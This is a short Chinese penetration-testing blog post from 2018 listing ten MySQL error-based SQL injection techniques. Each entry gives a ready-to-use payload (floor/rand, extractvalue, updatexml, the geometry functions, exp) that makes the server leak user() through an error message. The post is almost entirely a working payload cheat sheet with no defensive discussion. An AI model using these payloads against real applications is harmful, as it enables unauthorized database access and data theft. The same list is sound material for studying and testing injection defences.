十种MySQL报错注入


Nov 23 2018

十种MySQL报错注入

首页 » 渗透测试 » 十种MySQL报错注入   

十种MySQL报错注入

1.floor()

select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

1.png

2.extractvalue()

select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

2.png

3.updatexml()

select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

3.png

4.geometrycollection()

select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
4.png


5.multipoint()

select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));


5.png
6.polygon()

select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
6.png


7.multipolygon()

select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));

7.png

8.linestring()

select * from test where id=1 and linestring((select * from(select * from(select user())a)b));

8.png

9.multilinestring()

select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));

9.png

10.exp()

select * from test where id=1 and exp(~(select * from(select user())a));

10.png

如果您喜欢本博客,欢迎点击图片定订阅到邮箱填写您的邮件地址,订阅我们的精彩内容:

正文部分到此结束

文章标签: 报错注入

版权声明:若无特殊注明,本文皆为( mOon )原创,转载请保留文章出处。

也许喜欢: «上传绕过WAF的tips大全 | BurpSuite_v2.0下载»

你肿么看?

你还可以输入 250/250 个字

 微笑 大笑 拽 大哭 亲亲 流汗 喷血 奸笑 囧 不爽 晕 示爱 害羞 吃惊 惊叹 爱你 吓死了 呵呵

评论信息框

这篇文章还没有收到评论,赶紧来抢沙发吧~